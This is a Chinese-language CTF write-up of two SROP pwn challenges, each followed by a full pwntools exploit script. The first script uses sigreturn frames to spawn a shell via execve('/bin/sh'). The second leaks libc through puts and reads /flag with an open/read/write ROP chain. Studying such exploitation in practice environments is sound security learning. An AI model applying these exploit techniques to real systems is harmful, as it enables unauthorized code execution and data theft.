SROP
zach0ry

syscall_leave

rootersctf_2019_srop

image-20250910152701713

image-20250910152713092

image-20250910152745176

可以看到这个什么都没有,但是存在pop rax的操作,所以可以用SROP来泄露后门函数

思路

用SROP第一次读入执行read函数,第二次向这个read函数读入/bin/sh,并让函数通过frame去执行它

注意,在第一次的rbp控制,他是通过leave_ret跳转的,这个rbp是要执行函数的前一个位置,所以在第二个payload构造的时候加上“/bin/sh\x00”一共要填充0x38个字节才到达我们构造的read函数执行结束之后会继续执行的位置

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
from LibcSearcher import *
file_path = "./rootersctf_2019_srop"
remote_host = "node5.buuoj.cn"
remote_port =27430
#libc=ELF("")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p, "b*0x000000000401035")

def sla(a, b):
p.sendlineafter(a, b)
def sa(a,b):
p.sendafter(a,b)

rax_sys_kea_ret=0x401032
bss=0x402000
syscall=0x401033
frame=SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=bss
frame.rdx=0x400
frame.rip=syscall
frame.rbp=bss+0x30

payload=b"a"*0x88+p64(rax_sys_kea_ret)+p64(15)+bytes(frame)

sa(b"Hey, can i get some feedback for the CTF?",payload)

frame=SigreturnFrame()
frame.rax=59
frame.rdi=bss
frame.rsi=0
frame.rdx=0
frame.rip=syscall
pay=b"/bin/sh\x00"+b"a"*0x30+p64(rax_sys_kea_ret)+p64(15)+bytes(frame)
p.sendline(pay)

p.interactive()

call_syscall

题目

image-20250911104624373

image-20250911104652317

image-20250911104855837

思路

可以看到,开启了pie保护,但程序会输出puts的地址,可以通过puts的地址去泄露libc基地址,但是canary保护限制了执行的范围,所以可以通过syscall(15)去使用SigreturnFrame,设计寄存器让函数输入/flaghe orw的攻击,最后控制rsp去执行这个orw

image-20250911105203247

这里不是syscall,而是调用syscall,调用会push rsp,会导致不满16字节,所以舍去我们构造的frame的前8个字节

详解可以看师傅不会修电脑的师傅

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import sys
from LibcSearcher import *
file_path = "./babypwn"
remote_host = "node5.buuoj.cn"
remote_port = 26643
libc = ELF("libc-2.23.so")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p, "b* printf")

def sla(a, b):
p.sendlineafter(a, b)
def sa(a,b):
p.sendafter(a,b)

p.recvuntil(b"0x")
puts = int(p.recv(12), 16)
print(b"puts=================="+hex(puts).encode())

libc_base= puts - libc.symbols["puts"]
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']

bss = libc_base + 0x00000000003c6000
rdi = libc_base + 0x21102
rsi = libc_base + 0x202e8
rdx = libc_base + 0x1b92

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x200
frame.rip = read_addr
frame.rsp = bss+8
pay = bytes(frame)[8:]
p.sendlineafter(b'Please input magic message: ', pay)


payload = b"/flag\x00\x00\x00"+p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_addr)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(write_addr)


p.sendline(payload)

p.interactive()